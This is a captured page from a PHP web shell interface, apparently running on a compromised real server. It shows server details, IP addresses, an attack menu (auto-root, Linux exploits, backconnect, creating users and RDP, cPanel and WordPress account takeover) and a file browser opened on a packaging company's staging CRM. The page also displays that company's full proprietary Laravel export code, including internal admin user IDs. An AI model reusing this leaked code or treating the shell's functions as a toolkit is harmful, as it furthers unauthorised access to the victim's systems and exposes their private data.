Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.253.32
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
stagingcrm.oxopackaging.com /
app /
Exports /
[ HOME SHELL ]
Name
Size
Permission
Action
AgentSaleExport.php
7.75
KB
-rw-r--r--
DailyLeadsExport.php
473
B
-rw-r--r--
DealExport.php
10.96
KB
-rw-r--r--
MarketingExport.php
11.3
KB
-rw-r--r--
MonthlyReportExport.php
2.38
KB
-rw-r--r--
OrderPNLExport.php
8.58
KB
-rw-r--r--
ProductionExport.php
8.54
KB
-rw-r--r--
ReordersExport.php
7.02
KB
-rw-r--r--
SalariesExport.php
8.01
KB
-rw-r--r--
ShippingExport.php
10.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderPNLExport.php
<?php namespace App\Exports; use App\Models\Deal; use App\Models\Tracking; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithMapping; use Maatwebsite\Excel\Concerns\WithHeadings; class OrderPNLExport implements FromCollection,WithHeadings,WithMapping { protected $deal_name; protected $user_deals; protected $from; protected $to; protected $production_date; function __construct($deal_name, $user_deals, $from, $to,$production_date) { $this->deal_name = $deal_name; $this->user_deals = $user_deals; $this->from = $from; $this->to = $to; $this->production_date = $production_date; } /** * @return \Illuminate\Support\Collection */ public function collection() { $data = Deal::select('*')->with(['deals', 'client', 'dealProducts', 'dealProducts.product', 'dealProducts.productstyle'])->where('deal_status', 1)->orderBy('open_date', 'desc'); if ($this->deal_name) { $data->whereHas('client', function ($queryu) { $queryu->where('name', 'like', $this->deal_name . '%')->orWhere(function ($ques) { $ques->whereHas('clientDetails', function ($queryu) { $queryu->where('value', 'like', $this->deal_name . '%')->orWhere(function ($ques) { $ques->where('order_number', 'like', $this->deal_name . '%'); }); }); }); }); } if (!empty($this->user_deals)) { $data->where('owner_id', '=', $this->user_deals); } else { if (auth()->user()->id != 1 && auth()->user()->id != 90 && auth()->user()->id != 94&& auth()->user()->id != 204) { $data->where('owner_id', '=', auth()->user()->id); } } $from= $this->from ; $to= $this->to; $pro_date= $this->production_date; if(empty($this->production_date)) { if (!empty( $this->from) && !empty($this->to)) { $from = date('Y-m-d', strtotime( $this->from)); $to = date('Y-m-d', strtotime( $this->to)); // Log::debug('Date Range:', ['from' => $request->get('from'), 'to' => $request->get('to')]); $data->where(function ($query) use ($from, $to) { $query->whereBetween(DB::raw('DATE(bd_close_date)'), [$from, $to]) ->orWhereBetween(DB::raw('DATE(close_date)'), [$from,$to]); }); } else { $from = now()->startOfMonth()->format('Y-m-d'); $to = now()->endOfMonth()->format('Y-m-d'); Log::debug('Default Date Range:', ['from' => $from, 'to' => $to]); $data->where(function ($query) use ($from, $to) { $query->whereBetween(DB::raw('DATE(bd_close_date)'), [$from, $to]) ->orWhereBetween(DB::raw('DATE(close_date)'), [$from, $to]); }); } }else{ $data->where(DB::raw('DATE(shipping_date)'), [$pro_date]); } /* if(empty($this->production_date)) { if (!empty($this->from && $this->to)) { $data->whereHas('deal_amount', function ($q) use ($from, $to) { $q->whereBetween('receiving_date', [date($from), date($to)]); }); } else { $first = date("Y-m-d", strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $data->whereHas('deal_amount', function ($q) use ($first, $last) { $q->whereBetween('receiving_date', [$first, $last]); }); } }else{ $data->where(DB::raw('DATE(shipping_date)'), [$pro_date]); }*/ $data->where('deal_status', '=', '1'); $data->where(function ($q) { $q->where(function ($qs) { $qs->where('bd_pipeline_stage_id', '=', 4); })->orWhere('pipeline_stage_id', '=', 4); }); //print_r($data);exit; $data ->where('deal_status', 1); $data->orderBy('id', 'desc'); return $data->get(); //return view('admin.deal.export',$data); } public function headings(): array { return [ 'Order Number', 'Client Name', 'Deal Closing Date', 'Product Name', 'Product Style', '$ Revenue', 'RS - Rate', 'Revenue - RS', 'Est Production Cost', 'Est Production %', 'Est Shipping Cost', 'Est Shipping %', 'Est Gross Exp', 'Est Gross Exp %', 'Production Cost', 'Production Billing Month', 'Shipping Cost $', 'Shipping Cost - RS', 'Shipping Billing Month', 'Gross Profit', 'Production %', 'Shipping %', 'Gross Profit %', 'Tracking Number', 'Agent' ]; } /** * @var Invoice $deal */ public function map($deal): array { $gprofit = 0; $rev_in_pkr = 0; $dollar_rev = 0; $pk_rev = 0; $pro_cost = 0; $total_shipping_amount = 0; $total_shipping_amount_pk = 0; $total_pro = 0; $est_total_pro = 0; $pdate=''; $sdate=''; $shipping=''; $prodtucion=''; $tracking=''; $gper=''; $i = 1; foreach ($deal->dealProducts as $productdetail) { $product= $productdetail->product->name ?? ""; } foreach ($deal->dealProducts as $productdetail){ $productstyle=$productdetail->productstyle->name??""; } foreach ($deal->dealProducts as $productdetail) { foreach ($productdetail->dealProductQuantityAndEstimationAmounts as $key => $qty) { if ($key == 0) { $dollar_rev = $qty->deal_product_amount; $rev_in_pkr = $qty->deal_product_amount * $deal->dollar_rate; } } } if ($deal->production_billing_date) { $pdate= \Carbon\Carbon::parse($deal->production_billing_date)->format('F Y'); } if($deal->shipping_date) { $sdate= \Carbon\Carbon::parse($deal->shipping_date)->format('F Y') ;} $gprofit = $rev_in_pkr-$deal->production_cost-$deal->shipping_dollar_rate*$deal->shipping_amount; if($deal->shipping_amount) { $shipping= number_format($deal->shipping_dollar_rate*$deal->shipping_amount*100/($rev_in_pkr ?: 1),2).'%'; } if($deal->production_cost) { $prodtucion= number_format($deal->production_cost*100/($rev_in_pkr ?: 1),2).'%'; } if($deal->production_cost && $deal->shipping_amount) { $gper= number_format($gprofit*100/($rev_in_pkr ?: 1),2).'%'; } $track=Tracking::where('deal_id',$deal->id)->limit(1)->first(); if(isset($track)){ $tracking= $track->tracking_number; } if ($rev_in_pkr > 0) { $production_in_per = $deal->est_production_cost * 100 / $rev_in_pkr; $shipping_in_per = $deal->est_shipping_amount * $deal->dollar_rate * 100 / $rev_in_pkr; $total_pre = $production_in_per + $shipping_in_per; } else { $production_in_per = 0; $shipping_in_per = 0; $total_pre = 0; } return [ [ $deal->order_no, $deal->client->name, date('d F Y', strtotime($deal->close_date)), $product, $productstyle, $dollar_rev, $deal->dollar_rate, $rev_in_pkr, $deal->est_production_cost, round($production_in_per), $deal->est_shipping_amount*$deal->dollar_rate, round($shipping_in_per), $rev_in_pkr-$deal->est_production_cost- $deal->est_shipping_amount*$deal->dollar_rate, round($total_pre), $deal->production_cost, $pdate, $deal->shipping_amount, $deal->shipping_dollar_rate * $deal->shipping_amount, $sdate, $gprofit, $prodtucion, $shipping, $gper, $tracking, ($deal->owner->first_name ?? '') . ' ' . ($deal->owner->last_name ?? '') ] ]; } }
Close